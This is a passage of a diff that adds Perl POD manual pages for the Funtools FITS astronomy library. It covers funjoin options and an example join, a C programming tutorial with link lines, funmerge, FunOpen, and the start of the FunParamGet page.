The B<-b c1:bv1,c2:bv2> and
|
||||
B<-b1 'c1:bv1,c2:bv2' -b2 'c1:bv1,c2:bv2' ...>
|
||||
switches can be used to set the blank value for columns common to all
|
||||
files and/or columns in a specified file, respectively. Each blank value
|
||||
string contains a comma-separated list of column:blank_val specifiers.
|
||||
For floating point values (single or double), a case-insensitive string
|
||||
value of "nan" means that the IEEE NaN (not-a-number) should be
|
||||
used. Thus, for example:
|
||||
|
||||
funjoin -b "AKEY:???" -b1 "A:-1" -b3 "G:NaN,E:-1,F:-100" ...
|
||||
|
||||
means that a non-joined AKEY column in any file will contain the
|
||||
string "???", the non-joined A column of file 1 will contain a value
|
||||
of -1, the non-joined G column of file 3 will contain IEEE NaNs, while
|
||||
the non-joined E and F columns of the same file will contain values -1
|
||||
and -100, respectively. Of course, where common and specific blank values
|
||||
are specified for the same column, the specific blank value is used.
|
||||
|
||||
|
||||
To distinguish which files are non-blank components of a given row,
|
||||
the B<-s> (status) switch can be used to add a bitmask column named
|
||||
"JFILES" to the output file. In this column, a bit is set for each
|
||||
non-blank file composing the given row, with bit 0 corresponds to the
|
||||
first file, bit 1 to the second file, and so on. The file names
|
||||
themselves are stored in the FITS header as parameters named JFILE1,
|
||||
JFILE2, etc. The B<-S col> switch allows you to change the name
|
||||
of the status column from the default "JFILES".
|
||||
|
||||
|
||||
A join between rows is the Cartesian product of all rows in one file
|
||||
having a given join column value with all rows in a second file having
|
||||
the same value for its join column and so on. Thus, if file1 has 2
|
||||
rows with join column value 100, file2 has 3 rows with the same value,
|
||||
and file3 has 4 rows, then the join results in 2*3*4=24 rows being output.
|
||||
|
||||
|
||||
The join algorithm directly processes the index file associated with
|
||||
the join column of each file. The smallest value of all the current
|
||||
columns is selected as a base, and this value is used to join
|
||||
equal-valued columns in the other files. In this way, the index files
|
||||
are traversed exactly once.
|
||||
|
||||
|
||||
The B<-t tol> switch specifies a tolerance value for numeric
|
||||
columns. At present, a tolerance value can join only two files at a
|
||||
time. (A completely different algorithm is required to join more than
|
||||
two files using a tolerance, somethng we might consider implementing
|
||||
in the future.)
|
||||
|
||||
|
||||
The following example shows many of the features of funjoin. The input files
|
||||
t1.fits, t2.fits, and t3.fits contain the following columns:
|
||||
|
||||
[sh] fundisp t1.fits
|
||||
AKEY KEY A B
|
||||
----------- ------ ------ ------
|
||||
aaa 0 0 1
|
||||
bbb 1 3 4
|
||||
ccc 2 6 7
|
||||
ddd 3 9 10
|
||||
eee 4 12 13
|
||||
fff 5 15 16
|
||||
ggg 6 18 19
|
||||
hhh 7 21 22
|
||||
|
||||
fundisp t2.fits
|
||||
AKEY KEY C D
|
||||
----------- ------ ------ ------
|
||||
iii 8 24 25
|
||||
ggg 6 18 19
|
||||
eee 4 12 13
|
||||
ccc 2 6 7
|
||||
aaa 0 0 1
|
||||
|
||||
fundisp t3.fits
|
||||
AKEY KEY E F G
|
||||
------------ ------ -------- -------- -----------
|
||||
ggg 6 18 19 100.10
|
||||
jjj 9 27 28 200.20
|
||||
aaa 0 0 1 300.30
|
||||
ddd 3 9 10 400.40
|
||||
|
||||
|
||||
|
||||
Given these input files, the following funjoin command:
|
||||
|
||||
|
||||
funjoin -s -a1 "-B" -a2 "-D" -a3 "-E" -b \
|
||||
"AKEY:???" -b1 "AKEY:XXX,A:255" -b3 "G:NaN,E:-1,F:-100" \
|
||||
-j key t1.fits t2.fits t3.fits foo.fits
|
||||
|
||||
will join the files on the KEY column, outputting all columns except B
|
||||
(in t1.fits), D (in t2.fits) and E (in t3.fits), and setting blank
|
||||
values for AKEY (globally, but overridden for t1.fits) and A (in file
|
||||
1) and G, E, and F (in file 3). A JFILES column will be output to
|
||||
flag which files were used in each row:
|
||||
|
||||
|
||||
AKEY KEY A AKEY_2 KEY_2 C AKEY_3 KEY_3 F G JFILES
|
||||
------------ ------ ------ ------------ ------ ------ ------------ ------ -------- ----------- --------
|
||||
aaa 0 0 aaa 0 0 aaa 0 1 300.30 7
|
||||
bbb 1 3 ??? 0 0 ??? 0 -100 nan 1
|
||||
ccc 2 6 ccc 2 6 ??? 0 -100 nan 3
|
||||
ddd 3 9 ??? 0 0 ddd 3 10 400.40 5
|
||||
eee 4 12 eee 4 12 ??? 0 -100 nan 3
|
||||
fff 5 15 ??? 0 0 ??? 0 -100 nan 1
|
||||
ggg 6 18 ggg 6 18 ggg 6 19 100.10 7
|
||||
hhh 7 21 ??? 0 0 ??? 0 -100 nan 1
|
||||
XXX 0 255 iii 8 24 ??? 0 -100 nan 2
|
||||
XXX 0 255 ??? 0 0 jjj 9 28 200.20 4
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,542 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunLib: the Funtools Programming Interface>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
A description of the Funtools library.
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
B<Introduction to the Funtools Programming Interface>
|
||||
|
||||
To create a Funtools application, you need to include
|
||||
the funtools.h definitions file in your code:
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
|
||||
You then call Funtools subroutines and functions to access Funtools data.
|
||||
The most important routines are:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunOpen: open a Funtools file
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunInfoGet: get info about an image or table
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunImageGet: retrieve image data
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunImageRowGet: retrieve image data by row
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunImagePut: output image data
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunImageRowPut: output image data by row
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunColumnSelect: select columns in a table for access
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunTableRowGet: retrieve rows from a table
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunTableRowPut: output rows to a table
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunClose: close a Funtools file
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
Your program must be linked against the libfuntools.a library,
|
||||
along with the math library. The following libraries also might be required
|
||||
on your system:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
-lsocket -lnsl for socket support
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
-ldl for dynamic loading
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
For example, on a Solaris system using gcc, use the following link line:
|
||||
|
||||
gcc -o foo foo.c -lfuntools -lsocket -lnsl -ldl -lm
|
||||
|
||||
On a Solaris system using Solaris cc, use the following link line:
|
||||
|
||||
gcc -o foo foo.c -lfuntools -lsocket -lnsl -lm
|
||||
|
||||
On a Linux system using gcc, use the following link line:
|
||||
|
||||
gcc -o foo foo.c -lfuntools -ldl -lm
|
||||
|
||||
Once configure has built a Makefile on your platform, the required
|
||||
"extra" libraries (aside from -lm, which always is required) are
|
||||
specified in that file's EXTRA_LIBS variable. For example, under
|
||||
Linux you will find:
|
||||
|
||||
grep EXTRA_LIBS Makefile
|
||||
EXTRA_LIBS = -ldl
|
||||
...
|
||||
|
||||
|
||||
|
||||
The Funtools library contains both the zlib library
|
||||
(http://www.gzip.org/zlib/) and Doug Mink's WCS library
|
||||
(http://tdc-www.harvard.edu/software/wcstools/). It is not necessary
|
||||
to put these libraries on a Funtools link line. Include files
|
||||
necessary for using these libraries are installed in the Funtools
|
||||
include directory.
|
||||
|
||||
B<Funtools Programming Tutorial>
|
||||
|
||||
The
|
||||
FunOpen()
|
||||
function is used to open a FITS file, an array, or a raw event file:
|
||||
|
||||
/* open the input FITS file for reading */
|
||||
ifun = FunOpen(iname, "r", NULL);
|
||||
/* open the output FITS file for writing, and connect it to the input file */
|
||||
ofun = FunOpen(iname, "w", ifun);
|
||||
|
||||
A new output file can inherit header parameters automatically from
|
||||
existing input file by passing the input Funtools handle as the last
|
||||
argument to the new file's
|
||||
FunOpen()
|
||||
call as shown above.
|
||||
|
||||
|
||||
For image data, you then can call
|
||||
FunImageGet()
|
||||
to read an image into memory.
|
||||
|
||||
float buf=NULL;
|
||||
/* extract and bin the data section into an image buffer */
|
||||
buf = FunImageGet(fun, NULL, "bitpix=-32");
|
||||
|
||||
If the (second) buf argument to this call is NULL, buffer space is allocated
|
||||
automatically. The (third) plist argument can be used to specify the
|
||||
return data type of the array. If NULL is specified, the data type of
|
||||
the input file is used.
|
||||
|
||||
|
||||
To process an image buffer, you would generally make a call to
|
||||
FunInfoGet() to determine the
|
||||
dimensions of the image (which may have been changed from the original
|
||||
file dimensions due to Funtools image
|
||||
sectioning on the command line). In a FITS image, the index along
|
||||
the dim1 axis varies most rapidly, followed by the dim2 axis, etc.
|
||||
Thus, to access each pixel in an 2D image, use a double loop such as:
|
||||
|
||||
buf = FunImageGet(fun, NULL, "bitpix=-32");
|
||||
FunInfoGet(fun, FUN_SECT_DIM1, &dim1, FUN_SECT_DIM2, &dim2, 0);
|
||||
for(i=1; i<=dim2; i++){
|
||||
for(j=1; j<=dim1; j++){
|
||||
... process buf[((i-1)*dim1)+(j-1)] ...
|
||||
}
|
||||
}
|
||||
|
||||
or:
|
||||
|
||||
buf = FunImageGet(fun, NULL, "bitpix=-32");
|
||||
FunInfoGet(fun, FUN_SECT_DIM1, &dim1, FUN_SECT_DIM2, &dim2, 0);
|
||||
for(i=0; i<(dim1*dim2); i++){
|
||||
... process buf[i] ...
|
||||
}
|
||||
|
||||
Finally, you can write the resulting image to disk using
|
||||
FunImagePut():
|
||||
|
||||
FunImagePut(fun2, buf, dim1, dim2, -32, NULL);
|
||||
|
||||
Note that Funtools automatically takes care of book-keeping tasks such as
|
||||
reading and writing FITS headers (although you can, of course, write
|
||||
your own header or add your own parameters to a header).
|
||||
|
||||
|
||||
For binary tables and raw event files, a call to
|
||||
FunOpen()
|
||||
will be followed by a call to the
|
||||
FunColumnSelect()
|
||||
routine to select columns to be read from the input file and/or
|
||||
written to the output file:
|
||||
|
||||
|
||||
typedef struct evstruct{
|
||||
double time;
|
||||
int time2;
|
||||
} *Ev, EvRec;
|
||||
FunColumnSelect(fun, sizeof(EvRec), NULL,
|
||||
"time", "D", "rw", FUN_OFFSET(Ev, time),
|
||||
"time2", "J", "w", FUN_OFFSET(Ev, time2),
|
||||
NULL);
|
||||
|
||||
Columns whose (third) mode argument contains an "r" are "readable",
|
||||
i.e., columns will be read from the input file and converted into the
|
||||
data type specified in the call's second argument. These columns
|
||||
values then are stored in the specified offset of the user record
|
||||
structure. Columns whose mode argument contains a "w" are
|
||||
"writable", i.e., these values will be written to the output file.
|
||||
The
|
||||
FunColumnSelect()
|
||||
routine also offers the option of automatically merging user
|
||||
columns with the original input columns when writing the output
|
||||
rows.
|
||||
|
||||
|
||||
Once a set of columns has been specified, you can retrieve rows using
|
||||
FunTableRowGet(),
|
||||
and write the rows using
|
||||
FunTableRowPut():
|
||||
|
||||
Ev ebuf, ev;
|
||||
/* get rows -- let routine allocate the array */
|
||||
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
|
||||
/* process all rows */
|
||||
for(i=0; i<got; i++){
|
||||
/* point to the i'th row */
|
||||
ev = ebuf+i;
|
||||
/* time2 is generated here */
|
||||
ev->time2 = (int)(ev->time+.5);
|
||||
/* change the input time as well */
|
||||
ev->time = -(ev->time/10.0);
|
||||
}
|
||||
/* write out this batch of rows with the new column */
|
||||
FunTableRowPut(fun2, (char *)ebuf, got, 0, NULL);
|
||||
/* free row data */
|
||||
if( ebuf ) free(ebuf);
|
||||
}
|
||||
|
||||
The input rows are retrieved into an array of user structs, which
|
||||
can be accessed serially as shown above. Once again, Funtools
|
||||
automatically takes care of book-keeping tasks such as reading and writing
|
||||
FITS headers (although you can, of course, write your own header or
|
||||
add your own parameters to a header).
|
||||
|
||||
|
||||
When all processing is done, you can call
|
||||
FunClose()
|
||||
to close the file(s):
|
||||
|
||||
FunClose(fun2);
|
||||
FunClose(fun);
|
||||
|
||||
|
||||
|
||||
These are the basics of processing FITS files (and arrays or raw event
|
||||
data) using Funtools. The routines in these examples are described in
|
||||
more detail below, along with a few other routines that support
|
||||
parameter access, data flushing, etc.
|
||||
|
||||
B<Compiling and Linking>
|
||||
|
||||
To create a Funtools application, a software developer will include
|
||||
the funtools.h definitions file in Funtools code:
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
The program is linked against the libfuntools.a library, along with the
|
||||
math library (and the dynamic load library, if the latter is available
|
||||
on your system):
|
||||
|
||||
gcc -o foo foo.c -lfuntools -ldl -lm
|
||||
|
||||
|
||||
If gcc is used, Funtools filtering can be performed using dynamically
|
||||
loaded shared objects that are built at run-time. Otherwise, filtering
|
||||
is performed using a slave process.
|
||||
|
||||
Funtools has been built on the following systems:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Sun/Solaris 5.X
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Linux/RedHat Linux 5.X,6.X,7.X
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Dec Alpha/OSF1 V4.X
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
WindowsNT/Cygwin 1.0
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
SGI/IRIX64 6.5
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
B<A Short Digression on Subroutine Order>
|
||||
|
||||
There is a natural order for all I/O access libraries. You would not
|
||||
think of reading a file without first opening it, or writing a file
|
||||
after closing it. A large part of the experiment in funtools is to use
|
||||
the idea of "natural order" as a means of making programming
|
||||
easier. We do this by maintaining the state of processing for a given
|
||||
funtools file, so that we can do things like write headers and flush
|
||||
extension padding at the right time, without you having to do it.
|
||||
|
||||
|
||||
For example, if you open a new funtools file for writing using
|
||||
FunOpen(),
|
||||
then generate an array of image data and call
|
||||
FunImagePut(),
|
||||
funtools knows to write the image header automatically.
|
||||
There is no need to think about writing a standard header.
|
||||
Of course, you can add parameters to the file first by
|
||||
calling one of the
|
||||
FunParamPut()
|
||||
routines, and these parameters will automatically be added
|
||||
to the header when it is written out. There still is no
|
||||
need to write the header explicitly.
|
||||
|
||||
|
||||
Maintaining state in this way means that there are certain rules of
|
||||
order which should be maintained in any funtools program. In particular,
|
||||
we strongly recommend the following ordering rules be adhered to:
|
||||
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
When specifying that input extensions be copied to an output file
|
||||
via a reference handle, open the output file B<before> reading the
|
||||
input file. (Otherwise the initial copy will not occur).
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Always write parameters to an output file using one of the
|
||||
FunParamPut() calls
|
||||
B<before> writing any data. (This is a good idea for all FITS
|
||||
libraries, to avoid having to recopy data is the FITS header needs
|
||||
to be extended by adding a single parameter.)
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If you retrieve an image, and need to know the data
|
||||
type, use the FUN_SECT_BITPIX option of
|
||||
FunInfoGet(),
|
||||
B<after> calling
|
||||
FunImageGet(), since
|
||||
it is possible to change the value of BITPIX from the latter.
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
When specifying that input extensions be copied to an output file
|
||||
via a reference handle, close the output file B<before> closing
|
||||
input file, or else use
|
||||
FunFlush()
|
||||
explicitly on the output file
|
||||
B<before> closing the input file. (Otherwise the final copy will
|
||||
not occur).
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
We believe that these are the natural rules that are implied in most
|
||||
FITS programming tasks. However, we recognize that making explicit use
|
||||
of "natural order" to decide what automatic action to take on behalf
|
||||
of the programmer is experimental. Therefore, if you find that your
|
||||
needs are not compatible with our preferred order, please let us know
|
||||
-- it will be most illuminating for us as we evaluate this experiment.
|
||||
|
||||
B<Funtools Programming Examples>
|
||||
|
||||
The following complete coding examples are provided to illustrate the
|
||||
simplicity of Funtools applications. They can be found in the funtest
|
||||
subdirectory of the Funtools distribution. In many cases, you should
|
||||
be able to modify one of these programs to generate your own Funtools
|
||||
program:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
evread.c: read and write binary tables
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
evcols.c: add column and rows to binary tables
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
evmerge.c: merge new columns with existing columns
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
evnext.c: manipulate raw data pointers
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
imblank.c: blank out image values below a threshold
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
asc2fits.c: convert a specific ASCII table to FITS binary table
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
B<The Funtools Programming Reference Manual>
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
Fun FunOpen(char *name, char *mode, Fun ref)
|
||||
|
||||
void *FunImageGet(Fun fun, void *buf, char *plist)
|
||||
|
||||
int FunImagePut(Fun fun, void *buf, int dim1, int dim2, int bitpix, char *plist)
|
||||
|
||||
void * FunImageRowGet(Fun fun, void *buf, int rstart, int rstop, char *plist)
|
||||
|
||||
void * FunImageRowPut(Fun fun, void *buf, int rstart, int rstop, int dim1, int dim2, int bitpix, char *plist)
|
||||
|
||||
int FunColumnSelect(Fun fun, int size, char *plist, ...)
|
||||
|
||||
void FunColumnActivate(Fun fun, char *s, char *plist)
|
||||
|
||||
int FunColumnLookup(Fun fun, char *s, int which, char **name, int *type, int *mode, int *offset, int *n, int *width)
|
||||
|
||||
void *FunTableRowGet(Fun fun, void *rows, int maxrow, char *plist, int *nrow)
|
||||
|
||||
int FunTableRowPut(Fun fun, void *rows, int nev, int idx, char *plist)
|
||||
|
||||
int FunParamGetb(Fun fun, char *name, int n, int defval, int *got)
|
||||
|
||||
int FunParamGeti(Fun fun, char *name, int n, int defval, int *got)
|
||||
|
||||
double FunParamGetd(Fun fun, char *name, int n, double defval, int *got)
|
||||
|
||||
char *FunParamGets(Fun fun, char *name, int n, char *defval, int *got)
|
||||
|
||||
int FunParamPutb(Fun fun, char *name, int n, int value, char *comm, int append)
|
||||
|
||||
int FunParamPuti(Fun fun, char *name, int n, int value, char *comm, int append)
|
||||
|
||||
int FunParamPutd(Fun fun, char *name, int n, double value, int prec, char *comm, int append)
|
||||
|
||||
int FunParamPuts(Fun fun, char *name, int n, char *value, char *comm, int append)
|
||||
|
||||
int FunInfoGet(Fun fun, int type, ...)
|
||||
|
||||
int FunInfoPut(Fun fun, int type, ...)
|
||||
|
||||
void FunFlush(Fun fun, char *plist)
|
||||
|
||||
void FunClose(Fun fun)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,122 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funmerge - merge one or more Funtools table files>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funmerge [-w|-x] -f [colname] <iname1> <iname2> ... <oname>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-f # output a column specifying file from which this event came
|
||||
-w # adjust position values using WCS info
|
||||
-x # adjust position values using WCS info and save old values
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
B<funmerge> merges FITS data from one or more
|
||||
FITS Binary Table files
|
||||
or raw event files.
|
||||
|
||||
The first argument to the program specifies the first input FITS table
|
||||
or raw event file. If "stdin" is specified, data are read from the
|
||||
standard input. Use Funtools Bracket
|
||||
Notation to specify FITS extensions and row filters. Subsequent
|
||||
arguments specify additional event files and tables to merge. (NB: Stdin
|
||||
cannot not be used for any of these additional input file arguments.)
|
||||
The last argument is the output FITS file. The columns in each input table
|
||||
must be identical.
|
||||
|
||||
|
||||
If an input file begins with the '@' character, it is processed as an
|
||||
include file, i.e., as a text file containing event file names (as
|
||||
well as blank lines and/or comment lines starting with the '#' sign).
|
||||
If standard input is specified as an include file ('@stdin'), then
|
||||
file names are read from the standard input until EOF (^D). Event
|
||||
files and include files can be mixed on a command line.
|
||||
|
||||
|
||||
Rows from each table are written sequentially to the output
|
||||
file. If the switch B<-f [colname]> is specified on the command
|
||||
line, an additional column is added to each row containing the number
|
||||
of the file from which that row was taken (starting from one). In
|
||||
this case, the corresponding file names are stored in the header
|
||||
parameters having the prefix B<FUNFIL>, i.e., FUNFIL01,
|
||||
FUNFIL02, etc.
|
||||
|
||||
|
||||
Using the B<-w> switch (or B<-x> switch as described
|
||||
below), B<funmerge> also can adjust the position column values
|
||||
using the WCS information in each file. (By position columns, we mean
|
||||
the columns that the table is binned on, i.e., those columns defined
|
||||
by the B<bincols=> switch, or (X,Y) by default.) To perform WCS
|
||||
alignment, the WCS of the first file is taken as the base WCS. Each
|
||||
position in subsequent files is adjusted by first converting it to the
|
||||
sky coordinate in its own WCS coordinate system, then by converting
|
||||
this sky position to the sky position of the base WCS, and finally
|
||||
converting back to a pixel position in the base system. Note that in
|
||||
order to perform WCS alignment, the appropriate WCS and TLMIN/TLMAX
|
||||
keywords must already exist in each FITS file.
|
||||
|
||||
When performing WCS alignment, you can save the original positions in
|
||||
the output file by using the B<-x> (for "xtra") switch instead
|
||||
of the B<-w> switch (i.e., using this switch also implies using
|
||||
B<-w>) The old positions are saved in columns having the same
|
||||
name as the original positional columns, with the added prefix "OLD_".
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
Merge two tables, and preserve the originating file number for
|
||||
each row in the column called "FILE" (along with the corresponding
|
||||
file name in the header):
|
||||
|
||||
[sh] funmerge -f "FILE" test.ev test2.ev merge.ev
|
||||
|
||||
|
||||
|
||||
Merge two tables with WCS alignment, saving the old position values in
|
||||
2 additional columns:
|
||||
|
||||
[sh] funmerge -x test.ev test2.ev merge.ev
|
||||
|
||||
|
||||
|
||||
This program only works on raw event files and binary tables. We have
|
||||
not yet implemented image and array merging.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,166 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunOpen - open a Funtools data file>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
Fun FunOpen(char *name, char *mode, Fun ref);
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The B<FunOpen()> routine opens a Funtools data file for reading or
|
||||
appending, or creates a new FITS file for writing. The B<name>
|
||||
argument specifies the name of the Funtools data file to open. You can
|
||||
use IRAF-style bracket notation to specify
|
||||
Funtools Files, Extensions, and Filters.
|
||||
A separate call should be made each time a different FITS extension is
|
||||
accessed:
|
||||
|
||||
Fun fun;
|
||||
char *iname;
|
||||
...
|
||||
if( !(fun = FunOpen(iname, "r", NULL)) ){
|
||||
fprintf(stderr, "could not FunOpen input file: %s\n", iname);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
||||
If B<mode> is "r", the file is opened for reading, and processing
|
||||
is set up to begin at the specified extension. For reading,
|
||||
B<name> can be B<stdin>, in which case the standard input is read.
|
||||
|
||||
|
||||
If B<mode> is "w", the file is created if it does not exist, or
|
||||
opened and truncated for writing if it does exist. Processing starts
|
||||
at the beginning of the file. The B<name> can be B<stdout>,
|
||||
in which case the standard output is readied for processing.
|
||||
|
||||
|
||||
If B<mode> is "a", the file is created if it does not exist, or
|
||||
opened if it does exist. Processing starts at the end of the file.
|
||||
The B<name> can be B<stdout>, in which case the standard
|
||||
output is readied for processing.
|
||||
|
||||
|
||||
When a Funtools file is opened for writing or appending, a previously
|
||||
opened Funtools reference
|
||||
handle can be specified as the third argument. This handle
|
||||
typically is associated with the input Funtools file that will be used
|
||||
to generate the data for the output data. When a reference file is
|
||||
specified in this way, the output file will inherit the (extension)
|
||||
header parameters from the input file:
|
||||
|
||||
Fun fun, fun2;
|
||||
...
|
||||
/* open input file */
|
||||
if( !(fun = FunOpen(argv[1], "r", NULL)) )
|
||||
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
|
||||
/* open the output FITS image, inheriting params from input */
|
||||
if( !(fun2 = FunOpen(argv[2], "w", fun)) )
|
||||
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
|
||||
|
||||
Thus, in the above example, the output FITS binary table file will
|
||||
inherit all of the parameters associated with the input binary table
|
||||
extension.
|
||||
|
||||
A file opened for writing with a
|
||||
Funtools reference handle also
|
||||
inherits the selected columns (i.e. those columns chosen for
|
||||
processing using the
|
||||
FunColumnSelect() routine)
|
||||
from the reference file as its default columns. This makes it easy to
|
||||
open an output file in such a way that the columns written to the
|
||||
output file are the same as the columns read in the input file. Of
|
||||
course, column selection can easily be tailored using the
|
||||
FunColumnSelect() routine.
|
||||
In particular, it is easy to merge user-defined columns with the input
|
||||
columns to generate a new file. See the
|
||||
evmerge for a complete example.
|
||||
|
||||
|
||||
In addition, when a
|
||||
Funtools reference handle
|
||||
is supplied in a FunOpen() call,
|
||||
it is possible also to specify that all other extensions from the
|
||||
reference file (other than the input extension being processed) should
|
||||
be copied from the reference file to the output file. This is useful,
|
||||
for example, in a case where you are processing a FITS binary table
|
||||
or image and you want to copy all of the other extensions to
|
||||
the output file as well. Copy of other extensions is controlled by
|
||||
adding a "C" or "c" to the mode string of the
|
||||
FunOpen() call of the input
|
||||
reference file. If "C" is specified, then other extensions are
|
||||
B<always> copied (i.e., copy is forced by the application). If
|
||||
"c" is used, then other extensions are copied if the user requests
|
||||
copying by adding a plus sign "+" to the extension name in the bracket
|
||||
specification. For example, the B<funtable> program utilizes
|
||||
"c" mode, giving users the option of copying all other extensions:
|
||||
|
||||
/* open input file -- allow user copy of other extensions */
|
||||
if( !(fun = FunOpen(argv[1], "rc", NULL)) )
|
||||
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
|
||||
/* open the output FITS image, inheriting params from input */
|
||||
if( !(fun2 = FunOpen(argv[2], "w", fun)) )
|
||||
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
|
||||
|
||||
|
||||
Thus, B<funtable> supports either of these command lines:
|
||||
|
||||
# copy only the EVENTS extension
|
||||
csh> funtable "test.ev[EVENTS,circle(512,512,10)]" foo.ev
|
||||
# copy ALL extensions
|
||||
csh> funtable "test.ev[EVENTS+,circle(512,512,10)]" foo.ev
|
||||
|
||||
|
||||
|
||||
Use of a Funtools reference
|
||||
handle implies that the input file is opened before the output
|
||||
file. However, it is important to note that if copy mode ("c" or "C")
|
||||
is specified for the input file, the actual input file open is delayed
|
||||
until just after the output file is opened, since the copy of prior
|
||||
extensions to the output file takes place while Funtools is seeking to
|
||||
the specified input extension. This implies that the output file
|
||||
should be opened before any I/O is done on the input file or else the
|
||||
copy will fail. Note also that the copy of subsequent extension will
|
||||
be handled automatically by
|
||||
FunClose()
|
||||
if the output file is
|
||||
closed before the input file. Alternatively, it can be done explicitly
|
||||
by FunFlush(), but again, this
|
||||
assumes that the input file still is open.
|
||||
|
||||
|
||||
Upon success FunOpen() returns a
|
||||
Fun handle that is used in subsequent Funtools calls. On error, NULL
|
||||
is returned.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,153 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunParamGet - get a Funtools param value>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
int FunParamGetb(Fun fun, char *name, int n, int defval, int *got)
|
||||
|
||||
int FunParamGeti(Fun fun, char *name, int n, int defval, int *got)
|
||||
|
||||
double FunParamGetd(Fun fun, char *name, int n, double defval, int *got)
|
||||
|
||||
char *FunParamGets(Fun fun, char *name, int n, char *defval, int *got)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The four routines B<FunParamGetb()>, B<FunParamGeti()>,
|
||||
B<FunParamGetd()>, and B<FunParamGets()>, return the value of
|
||||
a FITS header parameter as a boolean, int, double, and string,
|
||||
respectively. The string returned by B<FunParamGets()> is a malloc'ed
|
||||
copy of the header value and should be freed when no longer needed.
|
||||
|
||||
|
||||
The first argument is the Fun handle associated with the FITS header
|
||||
being accessed. Normally, the header is associated with the FITS
|
||||
extension that you opened with B<FunOpen()>. However, you can use
|
||||
FunInfoPut() to specify access of the primary header. In particular,
|
||||
